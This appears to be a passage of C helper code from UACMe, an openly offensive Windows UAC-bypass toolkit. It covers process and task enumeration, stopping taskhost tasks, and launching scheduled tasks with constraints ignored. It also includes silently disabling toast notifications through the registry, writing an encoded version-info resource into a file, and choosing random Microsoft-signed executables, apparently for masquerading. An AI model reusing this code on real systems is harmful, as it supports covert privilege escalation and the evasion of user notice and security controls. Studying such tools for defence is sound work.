{
    BOOL bStopEnumeration = FALSE;
    ULONG nextEntryDelta = 0;
    PVOID processList;

    union {
        PSYSTEM_PROCESS_INFORMATION Processes;
        PBYTE ListRef;
    } List;

    processList = supGetSystemInfo(SystemProcessInformation);
    if (processList) {

        List.ListRef = (PBYTE)processList;

        do {

            List.ListRef += nextEntryDelta;

            if (List.Processes->SessionId == SessionId) {

                bStopEnumeration = Callback(List.Processes, UserContext);
                if (bStopEnumeration)
                    break;

            }

            nextEntryDelta = List.Processes->NextEntryDelta;

        } while (nextEntryDelta);

        supHeapFree(processList);

    }

    return bStopEnumeration;
}

/*
* supEnableToastForProtocol
*
* Purpose:
*
* Enumerate registered prog id's for the given interface and enable/disable toast for them.
*
*/
VOID supEnableToastForProtocol(
    _In_ LPCWSTR lpProtocol,
    _In_ BOOL fEnable
)
{
    HRESULT hr;
    DWORD celtFetched, dwValue;
    SIZE_T cbName;
    LPWSTR lpProgId, lpValue;
    IAssocHandler* assocHandler;
    IEnumAssocHandlers* enumHandlers = NULL;
    IObjectWithProgID* progId = NULL;

    if (FAILED(SHAssocEnumHandlersForProtocolByApplication(lpProtocol,
        &IID_IEnumAssocHandlers, (PVOID*)&enumHandlers)))
    {
        return;
    }

    do {
        celtFetched = 0;
        assocHandler = NULL;
        hr = enumHandlers->lpVtbl->Next(enumHandlers, 1, &assocHandler, &celtFetched);
        if (SUCCEEDED(hr) && celtFetched) {

            hr = assocHandler->lpVtbl->QueryInterface(assocHandler,
                &IID_IObjectWithProgID, (PVOID*)&progId);

            if (SUCCEEDED(hr)) {

                lpProgId = NULL;
                hr = progId->lpVtbl->GetProgID(progId, &lpProgId);
                if (SUCCEEDED(hr) && lpProgId) {

                    cbName = (4 + _strlen(lpProtocol) +
                        _strlen(lpProgId) + 1) * sizeof(WCHAR);
                    lpValue = (LPWSTR)supHeapAlloc(cbName);
                    if (lpValue) {

                        _strcpy(lpValue, lpProgId);
                        _strcat(lpValue, TEXT("_"));
                        _strcat(lpValue, lpProtocol);

                        dwValue = fEnable;

                        RegSetKeyValue(HKEY_CURRENT_USER,
                            T_APP_ASSOC_TOASTS,
                            lpValue,
                            REG_DWORD,
                            (LPCVOID)&dwValue,
                            sizeof(DWORD));


                        supHeapFree(lpValue);
                    }
                    CoTaskMemFree(lpProgId);
                }

                progId->lpVtbl->Release(progId);
            }

            assocHandler->lpVtbl->Release(assocHandler);
        }

    } while (celtFetched);

    enumHandlers->lpVtbl->Release(enumHandlers);

}

/*
* supWaitForChildProcesses
*
* Purpose:
*
* Check for child instances of process with given name is running and wait some time.
*
*/
ULONG supWaitForChildProcesses(
    _In_ LPCWSTR lpProcessName,
    _In_ DWORD dwWaitMiliseconds
)
{
    BOOL bRetry;
    DWORD dwCreatorPid, dwSessionId, dummy, dwCurrentWait, dwMaxWait = dwWaitMiliseconds;
    PROCESS_BASIC_INFORMATION pbi;
    ULONG nextEntryDelta;
    PVOID processList;
    HANDLE hEnumProcess;
    OBJECT_ATTRIBUTES obja;
    CLIENT_ID cid;
    UNICODE_STRING lookupPsName;

    union {
        PSYSTEM_PROCESS_INFORMATION Processes;
        PBYTE ListRef;
    } List;

    dwCreatorPid = HandleToULong(NtCurrentTeb()->ClientId.UniqueProcess);
    dwSessionId = NtCurrentPeb()->SessionId;

    dwCurrentWait = 0;
    if (dwMaxWait < 1000) dwMaxWait = 1000;
    RtlSecureZeroMemory(&pbi, sizeof(pbi));
    RtlInitUnicodeString(&lookupPsName, lpProcessName);
    InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);

    do {

        bRetry = FALSE;

        processList = supGetSystemInfo(SystemProcessInformation);
        if (processList) {

            List.ListRef = (PBYTE)processList;
            nextEntryDelta = 0;

            do {

                List.ListRef += nextEntryDelta;

                if (List.Processes->SessionId == dwSessionId &&
                    RtlEqualUnicodeString(&lookupPsName,
                        &List.Processes->ImageName,
                        TRUE))
                {

                    hEnumProcess = NULL;
                    cid.UniqueProcess = List.Processes->UniqueProcessId;
                    cid.UniqueThread = NULL;

                    if (NT_SUCCESS(NtOpenProcess(
                        &hEnumProcess,
                        PROCESS_QUERY_LIMITED_INFORMATION,
                        &obja,
                        &cid)))
                    {
                        if (NT_SUCCESS(NtQueryInformationProcess(hEnumProcess,
                            ProcessBasicInformation,
                            &pbi,
                            sizeof(pbi),
                            &dummy)))
                        {
                            bRetry = (pbi.InheritedFromUniqueProcessId == dwCreatorPid);
                        }

                        NtClose(hEnumProcess);
                    }

                }

                if (bRetry)
                    break;

                nextEntryDelta = List.Processes->NextEntryDelta;

            } while (nextEntryDelta);

            supHeapFree(processList);

        }
        else
            break;

        if (bRetry) {
            Sleep(1000);
            dwCurrentWait += 1000;
        }
        else 
            break;

    } while (dwCurrentWait <= dwMaxWait);

    return dwCurrentWait;
}

/*
* supRaiseHardError
*
* Purpose:
*
* Display UACMe hard error.
*
*/
VOID supRaiseHardError(
    _In_ NTSTATUS HardErrorStatus
)
{
    ULONG dwFlags;
    HMODULE hModule = NULL;
    WCHAR errorBuffer[1024];

    UNICODE_STRING usText;
    ULONG_PTR params[] = { (ULONG_PTR)&usText };
    HARDERROR_RESPONSE heResponse;

    if (HRESULT_FACILITY(HardErrorStatus) == FACILITY_WIN32) {
        dwFlags = FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_SYSTEM;
    }
    else {
        dwFlags = FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_HMODULE;
        hModule = GetModuleHandle(RtlNtdllName);
    }

    errorBuffer[0] = 0;

    if (FormatMessage(dwFlags,
        hModule,
        HardErrorStatus,
        0,
        errorBuffer,
        RTL_NUMBER_OF(errorBuffer),
        NULL))
    {
        RtlInitUnicodeString(&usText, errorBuffer);

        NtRaiseHardError(STATUS_FATAL_APP_EXIT | HARDERROR_OVERRIDE_ERRORMODE,
            RTL_NUMBER_OF(params),
            1,
            (PULONG_PTR)params,
            OptionOk,
            (PULONG)&heResponse);
    }
}

/*
* supGetThreadTokenImpersonationLevel
*
* Purpose:
*
* Query thread token impersonation level.
*
*/
BOOL supGetThreadTokenImpersonationLevel(
    _In_ HANDLE ThreadHandle,
    _Out_ PSECURITY_IMPERSONATION_LEVEL ImpersonationLevel)
{
    ULONG dummy;
    HANDLE hToken = NULL;
    SECURITY_IMPERSONATION_LEVEL level = SecurityAnonymous;
    NTSTATUS ntStatus;

    ntStatus = NtOpenThreadToken(ThreadHandle,
        MAXIMUM_ALLOWED,
        TRUE,
        &hToken);

    if (NT_SUCCESS(ntStatus)) {

        ntStatus = NtQueryInformationToken(hToken,
            TokenImpersonationLevel,
            (PVOID)&level,
            sizeof(SECURITY_IMPERSONATION_LEVEL),
            &dummy);

        NtClose(hToken);
    }

    *ImpersonationLevel = level;
    return NT_SUCCESS(ntStatus);
}

/*
* supGetTickCount64
*
* Purpose:
*
* GetTickCount64 eqv.
*
*/
ULONGLONG supGetTickCount64(
    VOID
)
{
    ULARGE_INTEGER tickCount;

#ifdef _WIN64

    tickCount.QuadPart = USER_SHARED_DATA->TickCountQuad;

#else

    while (TRUE)
    {
        tickCount.HighPart = (ULONG)USER_SHARED_DATA->TickCount.High1Time;
        tickCount.LowPart = USER_SHARED_DATA->TickCount.LowPart;

        if (tickCount.HighPart == (ULONG)USER_SHARED_DATA->TickCount.High2Time)
            break;

        NtYieldExecution();
    }

#endif

    return (UInt32x32To64(tickCount.LowPart, USER_SHARED_DATA->TickCountMultiplier) >> 24) +
        (UInt32x32To64(tickCount.HighPart, USER_SHARED_DATA->TickCountMultiplier) << 8);
}

/*
* supxExamineTaskhost
*
* Purpose:
*
* Find all tasks registered with the host process and stop them.
*
*/
BOOL supxExamineTaskhost(
    _In_ HANDLE UniqueProcessId
)
{
    HRESULT hr = E_FAIL;
    ULONG processId;
    LONG i, cTasks = 0;
    VARIANT varDummy, varIndex;
    ITaskService* pService = NULL;
    IRunningTaskCollection* pTasks = NULL;
    IRunningTask* pTask;
    TASK_STATE taskState = TASK_STATE_UNKNOWN;

    do {

        hr = CoCreateInstance(&CLSID_TaskScheduler,
            NULL,
            CLSCTX_INPROC_SERVER,
            &IID_ITaskService,
            (void**)&pService);

        HRESULT_BREAK_ON_FAILED(hr);

        VariantInit(&varDummy);

        hr = pService->lpVtbl->Connect(pService,
            varDummy,
            varDummy,
            varDummy,
            varDummy);

        HRESULT_BREAK_ON_FAILED(hr);

        hr = pService->lpVtbl->GetRunningTasks(pService,
            TASK_ENUM_HIDDEN,
            &pTasks);

        HRESULT_BREAK_ON_FAILED(hr);

        hr = pTasks->lpVtbl->get_Count(pTasks, &cTasks);

        HRESULT_BREAK_ON_FAILED(hr);

        varIndex.vt = VT_INT;

        for (i = 1; i <= cTasks; i++) {

            varIndex.lVal = i;

            hr = pTasks->lpVtbl->get_Item(pTasks, varIndex, &pTask);
            if (SUCCEEDED(hr)) {

                processId = 0;
                hr = pTask->lpVtbl->get_EnginePID(pTask, &processId);
                if (SUCCEEDED(hr) && processId == HandleToUlong(UniqueProcessId)) {

                    hr = pTask->lpVtbl->get_State(pTask, &taskState);
                    if (taskState == TASK_STATE_RUNNING) {
                        hr = pTask->lpVtbl->Stop(pTask);
                    }
                }
                pTask->lpVtbl->Release(pTask);
            }
        }


    } while (FALSE);

    if (pTasks)
        pTasks->lpVtbl->Release(pTasks);

    if (pService)
        pService->lpVtbl->Release(pService);

    return SUCCEEDED(hr);
}

/*
* supEnumTaskhostTasksCallback
*
* Purpose:
*
* Callback for taskhost task enumeration.
*
*/
BOOL CALLBACK supEnumTaskhostTasksCallback(
    _In_ PSYSTEM_PROCESS_INFORMATION ProcessEntry,
    _In_ PVOID UserContext
)
{
    PUNICODE_STRING targetProcess = (PUNICODE_STRING)UserContext;

    if (!RtlEqualUnicodeString(&ProcessEntry->ImageName, targetProcess, TRUE))
        return FALSE;

    supxExamineTaskhost(ProcessEntry->UniqueProcessId);

    return FALSE;
}

/*
* supStartScheduledTask
*
* Purpose:
*
* Run target task as schtasks does.
*
*/
BOOLEAN supStartScheduledTask(
    _In_ LPCWSTR lpTaskFolder,
    _In_ LPCWSTR lpTaskName
)
{
    HRESULT hr_init, hr = E_FAIL;
    ITaskService* pService = NULL;
    ITaskFolder* pRootFolder = NULL;
    IRegisteredTask* pTask = NULL;
    IRunningTask* pRunningTask = NULL;
    VARIANT var;

    BSTR bstrTaskFolder = NULL;
    BSTR bstrTask = NULL;

    hr_init = CoInitializeEx(NULL, COINIT_MULTITHREADED);

    do {

        bstrTaskFolder = SysAllocString(lpTaskFolder);
        if (bstrTaskFolder == NULL) {
            break;
        }

        bstrTask = SysAllocString(lpTaskName);
        if (bstrTask == NULL) {
            break;
        }

        hr = CoCreateInstance(&CLSID_TaskScheduler,
            NULL,
            CLSCTX_INPROC_SERVER,
            &IID_ITaskService,
            (void**)&pService);

        if (FAILED(hr)) {
            break;
        }

        var.vt = VT_NULL;

        hr = pService->lpVtbl->Connect(pService, var, var, var, var);
        if (FAILED(hr)) {
            break;
        }

        hr = pService->lpVtbl->GetFolder(pService, bstrTaskFolder, &pRootFolder);
        if (FAILED(hr)) {
            break;
        }

        hr = pRootFolder->lpVtbl->GetTask(pRootFolder, bstrTask, &pTask);
        if (FAILED(hr)) {
            break;
        }

        hr = pTask->lpVtbl->RunEx(pTask, var, TASK_RUN_IGNORE_CONSTRAINTS, 0, NULL, &pRunningTask);
        if (FAILED(hr)) {
            break;
        }

    } while (FALSE);

    if (bstrTaskFolder)
        SysFreeString(bstrTaskFolder);

    if (bstrTask)
        SysFreeString(bstrTask);

    if (pRunningTask) {
        pRunningTask->lpVtbl->Stop(pRunningTask);
        pRunningTask->lpVtbl->Release(pRunningTask);
    }

    if (pTask)
        pTask->lpVtbl->Release(pTask);

    if (pRootFolder)
        pRootFolder->lpVtbl->Release(pRootFolder);

    if (pService)
        pService->lpVtbl->Release(pService);

    if (SUCCEEDED(hr_init))
        CoUninitialize();

    return SUCCEEDED(hr);
}

/*
* supReplaceVersionInfo
*
* Purpose:
*
* Add a new VERSION_INFO block to the file.
*
*/
BOOLEAN supReplaceVersionInfo(
    _In_ LPCWSTR lpFileName,
    _In_ PBYTE lpResource,
    _In_ DWORD dwResourceSize,
    _In_ DWORD dwKey
)
{
    BOOLEAN bResult = TRUE;
    HANDLE hUpdate;
    PVOID pvBuffer;
    SIZE_T bufferSize = ALIGN_UP_BY(dwResourceSize, PAGE_SIZE);

    do {
        pvBuffer = supVirtualAlloc(&bufferSize, DEFAULT_ALLOCATION_TYPE | MEM_TOP_DOWN, DEFAULT_PROTECT_TYPE, NULL);
        if (pvBuffer == NULL) {
            bResult = FALSE;
            break;
        }

        RtlCopyMemory(pvBuffer, lpResource, dwResourceSize);
        EncodeBuffer(pvBuffer, dwResourceSize, dwKey);

        hUpdate = BeginUpdateResource(lpFileName, FALSE);
        if (hUpdate == NULL) {
            bResult = FALSE;
            break;
        }

        if (!UpdateResource(hUpdate, RT_VERSION, MAKEINTRESOURCEW(1), 
            MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
            pvBuffer, dwResourceSize))
        {
            EndUpdateResource(hUpdate, TRUE);
            break;
        }

        EndUpdateResource(hUpdate, FALSE);

    } while (FALSE);

    if (pvBuffer)
        supSecureVirtualFree(pvBuffer, bufferSize, NULL);

    return bResult;
}

/*
* supEnumPathEnvironmentVariable
*
* Purpose:
*
* Enumerate environment variables and execute callback on each.
*
*/
BOOLEAN supEnumPathEnvironmentVariable(
    _In_ PSUP_ENUM_PATH_CALLBACK Callback,
    _In_opt_ PVOID Context
)
{
    ULONG          i;
    LPCWSTR        lpPath;
    UNICODE_STRING usPath;
    WCHAR          szBuffer[MAX_PATH * 4];

    if (Callback == NULL)
        return FALSE;

    RtlInitUnicodeString(&usPath, L"PATH=");

    lpPath = supQueryEnvironmentVariableOffset(&usPath);
    if (lpPath == NULL || *lpPath == 0)
        return FALSE;

    do {

        i = 0;

        while (*lpPath != 0 && *lpPath != L';') {
            if (i < RTL_NUMBER_OF(szBuffer) - 1)
                szBuffer[i++] = *lpPath;

            lpPath++;
        }

        szBuffer[i] = 0;

        if (i != 0) {
            if (Callback(szBuffer, Context) == FALSE)
                return FALSE;
        }

        if (*lpPath == 0)
            break;

        lpPath++;

    } while (TRUE);

    return TRUE;
}

/*
* supxAddExecutableToList
*
* Purpose:
*
* Insert executable data to the list.
*
*/
BOOLEAN supxAddExecutableToList(
    _Inout_ PSUP_EXECUTABLE_LIST List,
    _In_ LPCWSTR FullPath,
    _In_ LPCWSTR FileName
)
{
    SIZE_T cchFullPath;
    SIZE_T cchDirectory;
    PSUP_EXECUTABLE_ENTRY Entry;

    cchFullPath = _strlen(FullPath);

    Entry = (PSUP_EXECUTABLE_ENTRY)RtlAllocateHeap(NtCurrentPeb()->ProcessHeap,
        HEAP_ZERO_MEMORY,
        sizeof(SUP_EXECUTABLE_ENTRY));

    if (Entry == NULL)
        return FALSE;

    RtlCopyMemory(
        Entry->FullPath,
        FullPath,
        (cchFullPath + 1) * sizeof(WCHAR));

    //
    // Compute offset to filename portion.
    //
    cchDirectory = cchFullPath - _strlen(FileName);
    Entry->NameOffset = (USHORT)cchDirectory;

    InsertTailList(
        &List->ListHead,
        &Entry->ListEntry);

    List->Count++;

    return TRUE;
}

/*
* supFreeExecutableList
*
* Purpose:
*
* Free memory allocated for executable list.
*
*/
VOID supFreeExecutableList(
    _Inout_ PSUP_EXECUTABLE_LIST List
)
{
    PLIST_ENTRY Entry;
    PSUP_EXECUTABLE_ENTRY Item;

    while (!IsListEmpty(&List->ListHead)) {
        Entry = RemoveHeadList(&List->ListHead);

        Item = CONTAINING_RECORD(
            Entry,
            SUP_EXECUTABLE_ENTRY,
            ListEntry);

        RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Item);
    }

    List->Count = 0;
}

/*
* supSelectRandomExecutable
*
* Purpose:
*
* Return pseudo-random value from executables list.
*
*/
PSUP_EXECUTABLE_ENTRY supSelectRandomExecutable(
    _In_ PSUP_EXECUTABLE_LIST List
)
{
    ULONG Index;
    ULONG Current;
    PLIST_ENTRY Entry;

    if (List->Count == 0)
        return NULL;

    Index = (ULONG)(__rdtsc() % List->Count);

    Current = 0;

    Entry = List->ListHead.Flink;

    while (Entry != &List->ListHead) {
        if (Current == Index) {
            return CONTAINING_RECORD(
                Entry,
                SUP_EXECUTABLE_ENTRY,
                ListEntry);
        }

        Current++;

        Entry = Entry->Flink;
    }

    return NULL;
}

/*
* supxVerifyFileIsIsOsBinary
*
* Purpose:
*
* Verify that given file is part of OS.
*
*/
BOOL supxVerifyFileIsIsOsBinary(
    _In_ LPCWSTR FileName
)
{
    BOOL bResult = FALSE;
    LONG status;
    HANDLE fileHandle;
    OBJECT_ATTRIBUTES attr;
    UNICODE_STRING usFileName;
    IO_STATUS_BLOCK iosb;
    SIGNATURE_INFO sigInfo;

    if (RtlDosPathNameToNtPathName_U(FileName, &usFileName, NULL, NULL) == FALSE)
        return FALSE;

    do {

        InitializeObjectAttributes(&attr, &usFileName,
            OBJ_CASE_INSENSITIVE, NULL, NULL);

        RtlSecureZeroMemory(&iosb, sizeof(iosb));
        status = NtCreateFile(&fileHandle, SYNCHRONIZE | FILE_READ_DATA,
            &attr, &iosb, NULL, 0, FILE_SHARE_READ, FILE_OPEN,
            FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

        if (!NT_SUCCESS(status))
            break;

        RtlSecureZeroMemory(&sigInfo, sizeof(sigInfo));
        sigInfo.cbSize = sizeof(sigInfo);

        status = WTGetSignatureInfo(
            (LPWSTR)FileName,
            fileHandle,
            SIF_BASE_VERIFICATION | SIF_CHECK_OS_BINARY | SIF_CATALOG_SIGNED,
            &sigInfo,
            NULL,
            NULL);

        NtClose(fileHandle);

        if (status != ERROR_SUCCESS)
            break;

        if (sigInfo.SignatureState != SIGNATURE_STATE_VALID)
            break;

        bResult = sigInfo.fOSBinary;

    } while (FALSE);

    RtlFreeUnicodeString(&usFileName);

    return bResult;
}

/*
* supxEnumMicrosoftExecutablesInRoot
*
* Purpose:
*
* Enumerate Microsoft executables in the Windows root directory.
*
*/
BOOLEAN supxEnumMicrosoftExecutables(
    _Inout_ PSUP_EXECUTABLE_LIST List
)
{
    WCHAR szSearch[MAX_PATH * 2];
    WCHAR szFullPath[MAX_PATH * 2];
    WIN32_FIND_DATAW FindData;
    HANDLE FindHandle;

    RtlSecureZeroMemory(&szSearch, sizeof(szSearch));
    _strcpy(szSearch, USER_SHARED_DATA->NtSystemRoot);
    supConcatenatePaths(szSearch, L"*.exe", MAX_PATH);

    FindHandle = FindFirstFile(
        szSearch,
        &FindData);

    if (FindHandle == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    do {

        if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            continue;

        _strcpy(szFullPath, USER_SHARED_DATA->NtSystemRoot);
        supConcatenatePaths(szFullPath, FindData.cFileName, MAX_PATH);

        if (supxVerifyFileIsIsOsBinary(szFullPath)) {

            supxAddExecutableToList(
                List,
                szFullPath,
                FindData.cFileName);

        }

        if (List->Count > 20)
            break;

    } while (FindNextFile(FindHandle, &FindData));

    FindClose(FindHandle);

    return (List->Count != 0);
}

/*
* supBuildSystemRootExecutableList
*
* Purpose:
*
* Remember all Microsoft executables from the system root.
*
*/
BOOLEAN supBuildSystemRootExecutableList(
    _Inout_ PSUP_EXECUTABLE_LIST List
)
{
    HMODULE hModule;
    WCHAR szPath[MAX_PATH * 2];

    RtlSecureZeroMemory(szPath, sizeof(szPath));
    _strcpy(szPath, USER_SHARED_DATA->NtSystemRoot);
    supConcatenatePaths(szPath, SYSTEM32_DIR, MAX_PATH);
    supConcatenatePaths(szPath, L"wintrust.dll", MAX_PATH);

    hModule = LoadLibraryEx(szPath, NULL, 0);
    if (hModule != NULL) {
        WTGetSignatureInfo = (ptrWTGetSignatureInfo)GetProcAddress(hModule, "WTGetSignatureInfo");
        if (WTGetSignatureInfo == NULL)
            return FALSE;
    }

    InitializeListHead(&List->ListHead);
    List->Count = 0;

    supxEnumMicrosoftExecutables(List);

    return (List->Count != 0);
}
